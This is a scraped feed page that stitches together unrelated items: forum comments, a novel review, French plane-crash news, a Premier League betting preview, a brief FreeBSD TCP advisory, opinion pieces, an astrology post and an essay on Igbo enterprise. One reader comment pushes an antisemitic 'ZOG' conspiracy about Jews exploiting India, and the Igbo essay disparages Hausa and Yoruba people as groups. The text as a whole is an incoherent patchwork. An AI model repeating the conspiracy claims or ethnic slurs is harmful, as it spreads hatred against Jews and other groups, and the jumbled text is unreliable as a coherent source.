Even though the points are broken and I seemed to have lost all mine and the ability to vote, its worth it if points are frozen forever and bluey never gets to start another stupid thread to bash a recruit.

John O'Korn already explained this.

Unfortunately, the idiots like you of our fan base seem to stick out like my morning wood, sooooo we have to settle for a lot of 3* underachievers.

But it's cool, I still root for them, maybe even a little more since they're underdogs; plus, they seem to really appreciate the education aspect more than the guys who are just waiting to get to the next level.

In the end though, I don't care what stars they are, just find the ones who have respect for women.

College sports are already broken enough because of the NCAA, but if they don't drop this misogynistic and exploitative bullshit it all can burn.

          Comment on Polar Alliance Update: Ice People ARE Mobilizing Against Sun People Tsunami…Even Chinese-Canadians (!), by John Derbyshire      Cache   Translate Page   Web Page Cache   
Well Hayley is Sikh but she is behaving like a Hinjew. This Hinjew as Joo stooge was a long time project which started during British Raj. The Jews were the major exploiters in the British Raj (not the Brits) but they also pushed the independence movement (both from within the British government and from their pet state Soviet Russia) and blamed everything on the White Brits. So most Indians do not know about Jews in British Empire exploiting Indians, the White Brits were the good guys in the Empire and they got wrongly blamed. The Jews were helped in this project by the Brahminical elites and Bania mercantile community members. So you basically have this people who hate Whites/ Western civilization, wrongly blame Whites for their problems but love Jews and are are imported into the West after WW2 to be the part of the Western elites ready to follow ZOG to the detriment of Western populations, Western civilization and the whole world. I may write a huge post on this with evidence one day on Unz.

          A Terrible Country review: a poignant tale of love and compromise in a nation haunted by its past      Cache   Translate Page   Web Page Cache   

The story of a man and his grandmother, Keith Gessen’s second novel, A Terrible Country, is a witty and sensitive portrait of a modern Russia few outsiders get to see, where the contradictions and questions of daily life are laid bare

Imposing, dramatic, and monumental, Moscow can seem a forbidding place with the unmistakable feel of a capital built not for people but for tanks. The Russian address system, on the other hand, is designed neither for people nor tanks. Rather, it is a test to single out the determined, those who, without paved footpaths, sufficient lighting or a clear numbering system to work with, can still realise that to find number 24, block 7, entrance 3 requires turning into an unmarked courtyard and heading into the dark. It’s hilarious accuracies like these that make the Moscow of Keith Gessen’s A Terrible Country immediately recognisable, and which he uses as the foundation for a sensitive and compassionate portrait of a country the author has spent years getting to know.

Gessen, an American journalist, novelist, and co-founder of New York literary magazine n+1, crafts a protagonist based loosely on his younger self. A 33-year-old struggling Russian Studies academic Andrei Kaplan is, like Gessen, a Soviet-born New Yorker living in the city during the financial crash of 2008. Hard up, with few job prospects and newly single, Andrei accepts his older brother Dima’s request to return to Moscow and look after their 89-year-old grandma, Baba Seva. Lacking the niche area study and academic zeal of his published contemporaries, Andrei hopes to use the trip to mine his grandmother’s memories for publishable material; he arrives in Moscow, however, only to find her mind addled by advancing dementia.

A Terrible Country, Baba Seva’s catchphrase, is the story of what happens to Andrei in the country of his birth. Almost immediately after arriving in Moscow, it becomes clear Andrei’s fluent-but-rusty language skills and academic interest in Russia cut a pathetic figure in the ruthless, oil-rich megacity. Pistol-whipped outside a nightclub and traipsing through the rain in search of a cinema entrance, Andrei is, as his first botched date Elena tells him, “not cut out for this”.

But though unlucky and unassuming, Andrei is a wry, highly perspicacious observer of post-Soviet Moscow. As we follow him through the city, he meets an ever-enlarging cast of characters, from oilmen-cum-hockey players and young political activists, to anti-semitic pensioners and prostitutes masquerading as Tinder dates. At first blinded by the seeming indifference of the city, with its sleek Mercedes and ludicrous prices for mediocre cappuccinos (Andrei can afford one coffee a day in a cafe where he uses the Wi-Fi to check his emails), it’s the nebulous political landscape that Andrei takes the longest to comprehend. “This place sucked,” Andrei complains. “And it sucked in a completely different way from the one I’d been led to expect. What happened to the scary dictatorship? What happened to the bloodthirsty regime? I thought I was going to be arrested, but no one was going to arrest me. No one gave a shit about me. I was too poor for that.” As Andrei’s immersion into Russian society deepens, however, his assumptions are debunked one by one.

 With a bare emotional power, Gessen forges an unusual narrative rhythm which culminates in an unexpected climax

That Gessen is a sharp-eyed observer of modern Russia is not immediately obvious. Andrei’s observations seem a little aimless, a little without direction, their value obscured by a narrative as no-frills as the language Gessen employs. Initially, it’s unclear whether Gessen can surmount his material and wrestle it into something compelling. With a bare emotional power, however, he succeeds, forging an unusual narrative rhythm that culminates in an unexpected climax.

Several chapters in, Andrei’s quotidian ventures begin to take on a deeper meaning, as Gessen’s skill as a novelist — manifestly humanising a complex, poorly understood nation — comes into view. Through his commitments to his grandmother and attempts to integrate into Russian society, Andrei enters a Russian life usually closed off to outsiders. What starts to take shape — as Andrei negotiates bank queues and bribes a poverty-stricken hospital for more blankets for his grandmother — is the deeply human face of a post-Soviet country in the throes of capitalism, with all the inevitable dissonance of a nation unreconciled to its history.

The Moscow skyline

Nowhere in A Terrible Country are the uncomfortable moral and political contradictions of Russian life more poignantly encapsulated than in the character of Baba Seva, herself a victim of, and winner from, the past. A spirited former history professor at the respected Moscow State University, Baba Seva lost her dacha at the hands of capitalism. How she came by her apartment in a swanky, central Moscow district, however, was at the hands of Stalin himself, who rewarded her work on a patriotic film about Ivan the Great in the 1940s; the source of lifelong guilt, Andrei later learns. “For my grandmother to receive a Stalin apartment, someone else had to lose it.”

Perhaps where Gessen flashes his most penetrating insight is with Andrei’s association with a group of young political activists who go by the name October. Gessen shows that the same moral compromises required to survive during the Soviet Union have travelled through time, that for both old and young, the state will exact a pound of flesh. Andrei enters October’s fold through Yulia, a committed October member he meets at a dinner party hosted by the smarmy and more successful American academic Alex Fishman. After letting out a stream of invective accusing Fishman of exploiting Russia for his own academic advancement (“what have you ever done for Russia?”, he yells), Andrei makes a humiliating exit, a stolen beer falling from his pocket and rolling across the floor. By a stroke of extraordinary fortune, it’s a scene that not only doesn’t repel Yulia, but motivates her to ask to see Andrei again. For all the might of Gessen’s themes — political activism, oligarchy, historical memory — a levelling dose of entertaining embarrassment is never far away.

What starts to take shape is the human face of a post-Soviet Russia in the throes of capitalism, with all the inevitable dissonance of a nation whose thorny history has yet to have its reckoning

All of October’s members are in some way earnestly involved in trying to strengthen civil society and oppose the structures of capitalism, and while their discussion groups and modest pickets seem unlikely to affect change, they unwittingly catch more of the government’s attention than they realise. With October, Andrei’s political education deepens, and it’s here through his avatar that Gessen sets himself apart from the mainstream Western discourse around Russia, taking aim not at Putin but at his progenitor, capitalism. Devouring Russia from the outside in, capitalism, Andrei realises, has been assimilated into Russia in much the same way as every other realisation of Western civilisation — late. It’s this that is both Russia’s charm and its curse. “It was as if Russia were a drug addict who received every concoction only after it was perfectly crystallised, maximally potent,” he writes. To October, the fight is greater than against Putin; so long as capitalism reigns, so will a despot sit in the Kremlin.

With October, and now in a relationship with Yulia, Andrei enters into the small but vibrant world of Moscow’s left-wing intelligentsia, translating their work into English, attending anti-fascist rallies, picketing outside state oil behemoths and debating Marxism. To the chagrin of some of October’s members, Andrei decides to write a piece about them for a highly-respected American peer-review journal, the first of his articles to gain any traction at home since he moved to Moscow. Andrei feels a pang of guilt; is it wrong to turn your friends into a notch on your academic belt? His supervisor in New York is in raptures about the article, and, betraying an embarrassing lack of insight into the matter, refers to the project with hollow labels like “The return of the repressed. The incorrigible Russians.” The West’s facile fetishisation of Russia’s opposition and the ease with which foreign academics and journalists can profit from them is a theme to which Gessen returns.

Keith Gessen

In spite of himself, Andrei gets used to his new life and considers staying in Russia for good: he’d found a cause he believed in, his grandmother needed him, and it wasn’t like he was having any luck finding a job back home in America. But morals are easy to hold when you don’t have to fight for them, and so it’s not until Andrei is offered a lucrative job at an American university, or arrested for protesting, that his resolve is put to the test and he finally, soberly, understands his limits. “After everything I’d said and thought about the inequities of the academic job market; after all the progress I’d made here on starting a new life; after all my promises of how I’d never leave my grandmother behind; after all that, and much more, when it finally came time for me to act on my supposed convictions, I did not.”

From the comfort of a foreign sofa and foreign passport, Andrei pens an op-ed for The New York Times to try and draw international attention to the two October members about to be put on trial for their activism. Instead of serving to help October’s struggle against the state, however, all his article does is draw praise and speaking invitations for “championing their cause”. Later, upon learning how one of the men, his friend Sergei, was trying to patch together a life after prison, Andrei comments: “his prison experiences had not done as well for his career as they had for mine”. Even with the best of intentions, even when Andrei had begun to think of himself as “one of them”, his ultimate freedom to leave it all behind sets him apart from his friends.

“After all the progress I’d made here on starting a new life; after all that, and much more, when it finally came time for me to act on my supposed convictions, I did not”

A Terrible Country is set at a specific moment in modern Russia: the oil-boom years that were followed by the 2011 protests and then the hipsterdom that engulfed Moscow and its middle class. But this forms only the backdrop for a meditation on the moral limitations of the individual and the collective, the global, nebulous economic structures that have shaped Russia’s political class, the unresolved wounds of history, and the painful self-awareness needed to come to terms with compromise. With this hilarious and acerbic novel, Gessen offers us a tale of what we must question about ourselves if we are ever to start to try and understand Russia.


          Crash d’avion à Podor : le film du drame ayant entraîné le décès du pilote français      Cache   Translate Page   Web Page Cache   
C’est encore l’émoi et la consternation dans le delta et la vallée du fleuve Sénégal, à la suite du crash. En clair, l’aéronef a décollé de l’aérodrome de Podor à 5h 45 et s’est écrasé quelques minutes plus tard à 5 km de Diattar , en terre mauritanienne.
Crash d’avion à Podor : le film du drame ayant entraîné le décès du pilote français
Cet aéronef effectuait une opération de traitement  des produits phytosanitaires pour réduire la pression des oiseaux granivores  par voie aérienne. Une  information confirmée par le Directeur régional du développement rural (Drdr) de Saint-Louis, Hamadou Baldé.

A en croire le Directeur de la Drdr, le pilote français, décédé dans le crash,  était chargé de pulvériser un insecticide contre les nuées d’oiseaux granivores qui détruisaient les plantations rizicoles.

Le crash de l’avion affrété pour le compte de la Direction de la protection des végétaux  (Dpv), ce mercredi 8 août 2018, n’a pas encore révélé tous ses secrets. Le responsable de l’aérodrome de Podor, Amadou Tidiane Ba a écarté les mauvaises conditions climatiques parmi les causes probables du  crash.

« L’avion avait décollé de l’Ile à Morphil vers 5 heures 45 ce matin, pour pulvériser des oiseaux granivores. Au retour, c’est à 5 Km à l’est de Podor où l’appareil a eu des problèmes près d’un village appelé Diatar (département de Podor). Le climat était très favorable depuis quelques jours. Il n’y a pas de nuage ni de poussière. Le temps est excellent. Ce ne sont pas les conditions météorologiques. Cela pourrait être la conséquence de défaillances mécaniques comme entre autres, un manque de kérosène. Mais, en tout cas, ce n’est pas à cause des effets de la météo. Ce qui est sûr, c’est qu’il n’y avait qu’une seule personne à bord. C’est le pilote, de nationalité française. Il n’a pas survécu », a-t-il dit.

Selon des informations, une délégation composée, entre autres d’Abdoulaye Niasse, directeur adjoint de la compagnie Ats (Air technical service), le préfet, des agents de la Saed (Société nationale d’aménagement et d’exploitation des terres) et ceux de la Dpv (Direction de la protection des végétaux) étaient en terre mauritanienne, sur le site du crash. Ils sont attendus à Podor avant la fin de journée.

But what happened afterward? Colón had two sons, Fernando and Diego, who inherited his wealth, but were they to inherit a portion of the lands their father "discovered," or a portion of what it produced, or just what Cristóbal left them when he died? The Spanish crown had passed to another generation as well, and Charles V did not see eye to eye with Colón's heirs.     

While Fernando was spending money, Diego was trying to consolidate his family’s status as one of the most powerful families in the “New World,” with control over Hispaniola, Puerto Rico, Jamaica, and Cuba. Before his father’s first voyage, in 1492, Queen Isabella and King Ferdinand had agreed that, if his quest succeeded, Cristóbal Colón would be entitled to 10 percent of the takings of his voyage, plus a bevy of titles. Every time Diego tried to claim what he thought he was owed, the crown fought back. When he died, his father’s legacy was still contested.

The monarchy’s legal case rested on the idea that it wasn’t Colón, but one of his ship’s captains, who had first discovered the Americas. Ultimately, Diego’s widow went into arbitration with the crown, and his son, Luis Colón de Toledo, came out with a title—Admiral of the Indies—control of Jamaica, an estate in Panama, and a 10,000-ducat annuity that was meant to last in perpetuity.

It was, perhaps, less than the Colón family thought they were owed and less than Cristóbal’s contract specified. But the Colón family came out ahead of other scions of conquistadors.

The Age of Exploration enriched quite a few European families, who had varying degrees of success dealing with the riches and legacy of their explorer fathers.

EPL: Arsenal vs Manchester City Preview

The opening round of the 2018/19 Premier League campaign kicks off with a bang as Arsenal begin life after Arsene Wenger with a match against champions Manchester City. 

New Gunners boss Unai Emery will come face to face with fellow Spaniard Pep Guardiola at the Emirates Stadium on Sunday.

Arsenal vs Manchester City
Sunday 12 August
Emirates Stadium
17:00


Guardiola’s men achieved a record 100 points last season to secure the title, so Emery will certainly have his work cut out for him.

To Win
Arsenal 24/10
Draw 11/4
Man City 21/20

Arsenal
This will be Emery’s first big challenge as Arsenal manager and a good result against his Spanish adversary would really stake his claim in the toughest league in the world. The Gunners were torn to shreds against Manchester City last season. In three meetings which they all lost, they conceded nine goals – three in each game – while finding the net just once. Emery will be keen to make an instant impression on Arsenal fans after replacing the legendary Wenger.

In May, Guardiola praised Arsenal’s appointment of Emery, citing his success in Spain and France.

“[Emery is a] top manager. His career speaks for itself,” Guardiola said.

“He did it perfectly in Spain with many teams: Valencia, Sevilla - and he did really well in France.”So, welcome to England. Another good manager is coming here.”
Arsenal have looked impressive under Emery in pre-season. They started off with an emphatic 8-0 win at non-league Boreham Wood behind closed doors. In the International Champions Cup, they played to a 1-1 draw against Atletico Madrid, losing in a meaningless penalty shoot-out. The Gunners then ran riot against Paris Saint-Germain in a 5-1 victory with Alexandre Lacazette bagging a brace.

Up next was a tough test against Chelsea which Emery’s side drew 1-1 thanks to Petr Cech’s penalty save against Alvaro Morata and Lacazette's injury-time equalizer. Arsenal beat their London rivals 6-5 on penalties. The Gunners ended their preseason campaign with a 2-0 victory over Lazio in Sweden. With 17 goals scored and just three conceded, Arsenal should have built up a lot of confidence in the last few weeks, as well as gaining the fitness required for the physically demanding Premier League.

Arsenal finished sixth in the Premier League last season, but that was largely due to suffering from travel sickness, losing 11 times on the road. At the Emirates Stadium, they secured 15 victories and were only outscored at home by City.

Of Emery’s signings, I’m only expecting Sokratis Papastathopoulos to start this match, alongside Shkodran Mustafi in defence, although, Lucas Torreira, who joined from Sampdoria, is a possibility in midfield. French youngster Matteo Guendouzi impressed in the friendlies but he isn’t likely to feature, while Sead Kolasinac and Laurent Koscielny are certain to miss the game with long-term injuries.

City will need to pay close attention to Pierre-Emerick Aubameyang, a one-time target for Guardiola. The former African Footballer of the Year joined the north London club from Borussia Dortmund in January, making 13 appearances (12 starts) and scoring 10 goals with four assists. Aubameyang will look to fire the Gunners to victory on Sunday.

Arsenal’s last win against City came in December 2015 when goals from Theo Walcott and Olivier Giroud gave them a 2-1 win at the Emirates. With a number of Guardiola’s key players returning late from Russia 2018, the Gunners will prefer taking City on at this stage, before Guardiola can get them back to full speed.

Manchester City
Manchester City come into their opening Premier League match high on confidence after beating Chelsea 2-0 at Wembley last Sunday to win the Community Shield. Sergio Aguero hit a brace for Guardiola's side, becoming the first player to score 200 goals for Manchester City, taking his club record to 201.

Guardiola was happy with the result but revealed his players are still well short of full fitness after only a handful of training sessions following the World Cup.

"We are satisfied, but still we are far away from the (best) physical condition. The players are in bad, bad conditions," Guardiola said.

City played just three pre-season friendlies before beating Chelsea last weekend. Guardiola was without many of his stars in USA for the International Champions Cup due to their World Cup exploits. City lost their opening friendlies against Borussia Dortmund and Liverpool, but did extremely well to come from 2-0 down to beat Bayern Munich.

City started last season’s record-breaking campaign by dropping just two points in 20 games and Guardiola's men will look to get their title defence off to a winning start against Emery’s side. The Citizens faced the north London outfit three times last season, coming out on top in all three meetings, netting three goals in each match. They completed a league double over the Gunners in Wenger’s final season at the helm, winning 3-1 at the Etihad and 3-0 at the Emirates. City also beat Arsenal 3-0 at Wembley to lift the Carabao Cup.

Guardiola's men will look to extend their winning streak over the north London side. Last season, City won 16 of their 19 games away from home, losing just once – 4-3 away to Liverpool in January. They were the only side to hit the 40-goal mark on their travels, netting 45 goals while they shipped 13.

Probable line-ups:
Arsenal: 4-2-2-2
Cech; Bellerin, Mustafi, Sokratis, Maitland-Niles; Xhaka, Ramsey; Ozil, Mkhitaryan; Aubameyang, Lacazette.

Manchester City: 4-3-3
Ederson; Walker, Stones, Laporte, Mendy; David Silva, Fernandinho, Bernardo; Mahrez, Sane, Aguero.

Verdict: Draw (11/4)
This is a very tough call because it’s so early in the season. It’s Unai Emery’s first home game in charge of Arsenal and you’d expect the Gooners in the stands to be fired up. Although Emery is a coach who enjoys attacking football, he’ll be cautious when attacking City. As much as both teams will want to start the season off with a win, neither side will want to lose the opening game. It’s always a big call when you don’t back a City win, but I’m going for the draw here.

FreeBSD Security Advisory - One of the data structures that holds TCP segments uses an inefficient algorithm to reassemble the data. This causes the CPU time spent on segment processing to grow linearly with the number of segments in the reassembly queue. An attacker who has the ability to send TCP traffic to a victim system can degrade the victim system's network performance and/or consume excessive CPU by exploiting the inefficiency of TCP reassembly handling, with relatively small bandwidth cost.
          Colleges: A Force for Evil      Cache   Translate Page   Web Page Cache   
Many of the nation’s colleges have become a force for evil and a focal point for the destruction of traditional American values. The threat to our future lies in the fact that today’s college students are tomorrow’s teachers, professors, judges, attorneys, legislators, and policymakers.

A recent Brookings Institution poll suggests that nearly half of college students believe hate speech is not protected by the First Amendment. Of course, it is.

Fifty-one percent of students think that it’s acceptable to shout down a speaker with whom they disagree. About 20 percent of students hold that it’s acceptable to use violence to prevent a speaker from speaking. Over 50 percent say colleges should prohibit speech and viewpoints that might offend certain people.

Contempt for the First Amendment and other constitutional guarantees is probably shared by the students’ high school teachers, as well as many college professors.

Brainwashing and indoctrination of young people has produced some predictable results, as shown by a recent Gallup poll. For the past 18 years, Gallup has asked adults how proud they are to be Americans. This year, only 47 percent say they are “extremely proud,” well below the peak of 70 percent in 2003. The least proud to be Americans are nonwhites, young adults, and college graduates.

The proudest Americans are those older than 50 and those who did not graduate from college. The latter might be explained by their limited exposure to America’s academic elite.

Johnetta Benton, a teacher at Hampton Middle School near Atlanta, was recorded telling her sixth-grade students, “America has never been great for minorities.” In a tirade, she told her class: “Because Europeans came from Europe … you are an immigrant. You are an illegal immigrant because you came and just took it. … You are an immigrant. This is not your country.”

To exploit young, immature people this way represents an act of supreme cowardice. The teacher should be fired, but I’m guessing that her colleagues share her sympathies. At the same school, students were given a homework assignment that required them to write a letter asking lawmakers for stricter gun control laws.

One might be tempted to argue that the growing contempt for liberty and the lack of civility stem from the election of Donald Trump. That’s entirely wrong. The lack of civility and indoctrination of...

          Big Banks Are Once Again Taking Risks With Complex Financial Trades, Report Says      Cache   Translate Page   Web Page Cache   
Big banks are skirting the rules on the sale of the complex financial instruments that helped bring about the 2008 financial crisis, by exploiting a loophole in federal banking regulations, a new report says . The loophole could leave Wall Street exposed to big losses, potentially requiring taxpayers to once again bail out the biggest banks, warns the report's author, Michael Greenberger, former director of trading and markets at the Commodity Futures Trading Commission. "We've seen this movie already," he said at a news conference Tuesday. The regulations cover credit default swaps , a kind of insurance contract taken out by investors to cover potential losses in assets. Such contracts were enormously popular all over the world during the housing boom and led to big losses when the mortgage market collapsed. Swaps "were time bombs laid throughout the financial system and at the same time they were a conveyor belt that delivered those time bombs throughout the global financial system,"

Partial home addresses and Social Security numbers of more than 26 million Comcast Corp. Xfinity customers were inadvertently exposed online through separate security vulnerabilities, according to a Buzzfeed News report late Wednesday. Buzzfeed said security researcher Ryan Stevenson discovered the flaws, which Comcast said were patched after Buzzfeed alerted them. "We have no reason to believe these vulnerabilities were ever used against Comcast customers outside of the research described in this report," Comcast told Buzzfeed. The vulnerabilities to the cable and internet provider's online customer portal were apparently fairly easy to exploit.

          Oct 2018: Tail of the Dragon Smacks 2017 POTUS Sun!      Cache   Translate Page   Web Page Cache   

On October 27, 2018 transit South Node ('Tail of the Dragon') 'smacks' the 2017 POTUS Sun 00AQ49:53 for just under 3 minutes from 6:50 am edt to 6:52:50 am edt. The horoscope below is set for Washington DC at the first minute of this conjunction; the transit may have no significance at all but is posted here for the sake of recording the cosmic event--and because of the tribulations of the Trump administration since he 'took office' at noon on January 20, 2017 at noon est with an isolated 10th house Sun that represents, since Inauguration Day 2017, thespian Donald Trump in the leadership role.

Obviously this particular nodal transit also occurred approximately 19 years ago while Bill Clinton was in office, his second term ending on January 20, 2001. Embroiled in legal, political, and personal battles, Mr. Clinton's White House experience resembles on a basic ethical level that of the embroiled Mr. Trump, as you know, and although SN to Sun is a cosmic event of brief duration, perhaps its Saturnian vibes of separation and lack of resonance with the public (or with the public mood or societal trends) returns in 2018 for the American people's further dealing in the inflated form of ethics-challenged Donald Trump. Both planet Saturn and the Nodes of the Moon are considered karmic (what was sown is reaped) and both play roles in the element which only Astrology can provide the seeker--timing.

DC Horoscope: October 27, 2018 6:50 am edt Washington DC; SN conjunct POTUS Sun 00AQ49:53;Trump natal positions are penned around the chart in blue; chart-ruler Venus Rx opposes Uranus Rx highlighted in green; 'The Tower' Solar Eclipse of August 11, 2018 is this karmic event's PE; its Syzygy Moon 1Tau13 perfects on October 24, 2018 conjunct planet of upsets and shocks, Uranus, here at 00Tau24; Venus-Uranus hints at financial improprieties, extravagance, devaluation of currency, and/or unusual sources of funding; in 2nd house, transit Mercury 25Sco12 has just entered Mr. Trump's natal 4th house (joining tr Jupiter) suggesting communications focused on domestic matters, family members, real estate, and potentially a 'change of residence' (not to get our hopes up!) if enough factors agree:

Now since it's America's POTUS Sun involved ('President of the United States'), the US presidency will be 'smacked' or 'swiped' in some way along with the man playing the archetypal role in October 2018; therefore, the Presidential Oath of Office will be involved. This brings Trump's affirmation to preserve, protect, and defend the US Constitution into this Saturnian picture with its 'separation' theme. Agreement that Mr. Trump is actually doing the required job in the required way is hard to find unless you look toward the morally bankrupt GOP and their billionaire enablers who are determined to re-write the US Constitution in unrecognizable ways. Plus, Trump's mesmerized supporters, who at this typing, remain devoted to his quirky, eccentric, chaotic Uranian way of doing things, tradition be da*ned. For after all, Trump's natal 10th house Uranus in mutable Gemini (sign of duplicity, variety, tweeting, and gossip) is his guiding planet because it rises just before his Gemini Sun (aka, 'oriental').

And if we look to a South Node/Sun conjunction in general for clues to what may be involved in late October, we find circumstances, conditions, and people continuing to block and limit Trump's self-expression, leadership, and power potential. Obstacles via others litter his path of achievement to the point that aims may be denied altogether. That Trump has and does promote his own selfish aims at the expense of others--aka, exploitation--complicates the situation for SN-to-Sun is a doubly karmic event in which current actions are thwarted by pipers who rightfully demand full payment. You've probably noticed how Mr. Trump has demonstrated an alarming lack of self-discipline and an inability to control his primal urges which do not sync with Saturn's requirements which can lead to positive outcomes and best results.

And of course, astrological Saturn is the taskmaster bringing lessons of limitation, restriction, and accountability (The Establishment in the form of Mr. Mueller?!) but as we know, Mr. Trump has shown himself to be learning disabled concerning most topics, and a know-it-all to boot. In fact, he has stated that he's never asked for forgiveness because he's never sinned or made a mistake--quite an unsullied 'god' he imagines himself to be! Perhaps having royal Regulus rising along with asteroid Apollo (the 'sun god') inspires such a misconception about himself as being superior to the rest of humanity. Yet in his role of US president, and allegedly accountable to the American people and to the laws of Saturn, it may soon be time for cosmic comeuppance for such hubris as that belonging to the very flawed Donald J. Trump.

           Comment on Gutenberg Plugin Garners Mixed Reactions from New Wave of Testers by Peter       Cache   Translate Page   Web Page Cache   
I feel soooo frustrated. Here is why: When i try gutenberg on a test site and i just copy and paste some lorem ipsum text, i quite like the minimalistic design. I think exactly this is the trap that caught all the serious guys right at the very beginning. However if i try to write real content, a consistent flow of mind (that is longer than 3 rows) then all those *beepy* blocks just break up my mind, and are keep distracting me from telling my story. I always have to rectify where i wanted a new block. This is really stealing my time for nothing. Much better than those "distracting" buttons in TinyMCE, right? By the way, why would i ever want to modify the order of my consistent mind flow? And guys please also add a block order randomizer function before merging this crappy planned alteration into core, it is a great and truly needed feature you <em>still</em> did not think of! Imagine all the readers could read another version of the same content without the content creator needing to update that content manually each day. It would really save tons of time for content creators and after a while even the readers could decide which variation of text order was most exciting for them to read... That would be absolutely awesome! But wait... how about an exploit that would just remix the order of gutenberg blocks and that in a platform that drives about 30% of the whole internet?! What would happen to just an average site with about 30 pages and posts? Did someone ever thought of that possibility?
          New Maps Reveal Global Fishing's 'Vast Scope Of Exploitation Of The Ocean'      Cache   Translate Page   Web Page Cache   
The fishing industry has long been hard to monitor. Its global footprint is difficult even to visualize. Much fishing takes place unobserved, far from land, and once the boats move on, they leave behind few visible traces of their activity. But this week, the journal Science published some remarkable maps that help fill that gap. John Amos, president of an organization called SkyTruth , which helped produce them, issued a statement calling the maps "a stunning illustration of the vast scope of exploitation of the ocean." SkyTruth and its collaborators tracked most of the world's fishing vessels through an entire year by monitoring radio transmissions that most vessels now emit automatically in order to avoid collisions with each other. The researchers were able to distinguish between different kinds of vessels — trawlers that drag nets behind them, for instance, versus vessels that deploy drifting "longlines" that often are used to catch tuna. The maps show the most intense fishing

EX-RAYING THE IGBO; THE NEED TO START THINKING HOME


By Elochukwu Nicholas Ohagi
For Family Writers Press

During my NYSC camp in Olokuma Opokuma Kayama, Bayelsa State in 2013, the camp commandant told those of us complaining about how they can not go across water, that if they reach their PPA and fail to find an Igbo man there, they should report back immediately to him for onward and immediate reposting. Low and behold, even those that went deeper into the sea and inside the creeks never returned for reposting. An evidence they all met at least one Igbo man in their various places of primary assignment.

This is to tell you how far an Igbo man has traveled and acclimatized with every part of the country called Nigeria. Some have argued that Igbo man is the only 'True Nigerian', contrary to what many are thinking today. Igbo man is living the true creed of nationhood in a country most of us call Nigeria. It is only an Igbo man that can travel from home to a faraway place, an unknown place, establish  and make it another home. He builds houses and makes it his own home. Unlike an Hausa man who will live inside their mosque while changing millions of Dollars for a whooping 30 years in one "ama awusa" somewhere in Owerri without building one single house or renting one. It is not even news that the richest man in Northern  Nigeria and probably the richest in Nigeria, Aliko Dangote does not have even a single of his numerous companies situated in Ala Igbo. The only things he can lay claim to are his numerous Trailers crisscrossing the rough and bumpy Eastern Nigeria roads distributing his goods and products.

Same thing can be said about a Yoruba man. You hardly see a Yoruba man build outside his Yoruba state. For many years now powerful but mischievous Yoruba Nigeria gutter media have been telling whoever that cared to listen that the reason they don't build in Eastern Nigeria is because Ndi Igbo does not sell lands to them. A lie that have been long exposed, thanks to social media. One may want to ask a Yoruba man this questions. If Igbo man refuses to sell his land, what of the lands belonging to Ijaw, Efik, Ibibio or Oron? Did they also refused selling to you like their Igbo brothers? Did Northerners also refused to sell lands to Yoruba people when they were selling to Ndi Igbo in their enclave? Why is it that in almost all the Northern States there is an Igbo settlement with lands bought and houses built by Ndi Igbo. There are Markets, Hospitals, Schools and even Hotels owned exclusively by Ndi Igbo. That same Ndi Igbo have big stake in Lagos. Same Ndi Igbo whose properties were declared abandoned properties have within the space of 50years bought back all those properties, that was when all the monies they had in Nigeria banks prior to the war was stolen by the Nigerian government.

Ndi Igbo also found themselves scattered around the world. It is also said that there is no country in the world you can not find an Igbo man. Don't take my word for it, just make your own research and I stand to be corrected. Ndi Igbo have assets more outside Igbo land than they can boast of within their own territory. This has turned into a bitter curse to Ndi Igbo rather than becoming a blessing and it made them vulnerable for a long time but not anymore because freedom has come. This is because an Igbo man have refused to bring his exploits back home. They have this believe that their business cannot flourish well if they bring it home. These are genuine concerns. A lot of things discourages an Igbo man from establishing his business at home. An Igbo man will rather start a business in Lagos, Kano, Kaduna, Abuja or Jos than bring it down home to  Onitsha, Aba, Owerri or Port Harcourt.

Some Reasons Why Ndi Igbo Finds It Hard To Think Home

Here I am going to point out some of the things that hinder Ndi Igbo from bringing their businesses home. I will try to make it brief.

1. Feeling of Insecurity - An Igbo man feels that he is a target in Nigeria. He feels that his land is under siege and his name something Nigeria establishment always don't want to hear. In Igbo land, you hardly cross one kilometer without meeting battle ready police or military checkpoints with officials that seemed to have been detailed to make life difficult for Ndi Igbo living and doing businesses in Igbo land. They pay through their noses in there own land through military and police extortion. Something that is not good for business. Business men in Igbo land will be made to spend thousands of Naira before their goods can finally rest either in Main-market Onitsha or Ariria Aba. Customs, Army, Immigration are always there to extort money and intimidate Igbo businessmen.

2. Nearness To Seaports - Nigerian Government for the past 50years seemed to have reached a consensus to deny Ndi Igbo sea ports. There is no river that made history in Nigeria more than River Niger. The reason Mongo Park took the pains to discover an already discovered river by our ancestors, was to open up trade not just in Nigeria but entire West Africa. This shows that if properly harnessed, River Niger would have increased trade in West Africa. But unfortunately opening up River Niger will benefit a people Nigeria has agreed to perpetually keep down and subjugate. That is why they extended same treatment to neighboring ports like Warri, Akwaibom and Calabar Ports. Even Port Harcourt sea port is not functional, that is when Lagos state alone sits on three sea ports, with Kano and Kaduna enjoying land dry ports.
The difficulty of bringing down goods from Lagos down to Onitsha or Aba has forced many Ndi Igbo to settle in Lagos or any other Northern States.

3. Unavailability Of International Airport - It is worthy to note here that for the first time after the war in 1970, it was just four years ago, during Goodluck Jonathan's era that the first International flight took off from Eastern Nigeria.  That was a region that maintained the busiest airport in the whole world in 1967/70 under severe bombardment from Nigeria and their British government supporters. Ndi Igbo travel miles on roads before they can travel out of Nigeria via Lagos, Abuja or Kaduna. The so called Enugu International Airports is still not functional due to some of the reasons I listed above.

Struggling For Survival

 In all these things the Igbo has been struggling to survive. Leading in this struggle for survival is the Nnewi man. The symbol of think home mentality. Right from the start, Nnewi man have armed himself with the think home mentality. One would have wondered where the Igbo man would have been without the wisdom and ingenuity of an Nnewi man. Nnewi man here also represents all other Ndi Igbo that are bringing their goods home.
Currently, the highest cluster of indigenous companies in Africa are in Nnewi. The 'Onye aghana nwanne ya' spirit of the Igbo is strong in the mind of an Nnewi man. Innoson motors and others still stand tall in Nnewi.
All Ndi Igbo should as a matter of fact borrow this good side of Nnewi people and start thinking home. It's a call for all Ndi Igbo to start establishing their business empires in Igbo land. Ndi Igbo should stop thinking that they need Nigerian market more for then to sell. In actual sense it is Nigeria that needs an Igbo man. Ndi Igbo must start targeting the wilder African markets. That's a sure way to go.

Things To Avoid

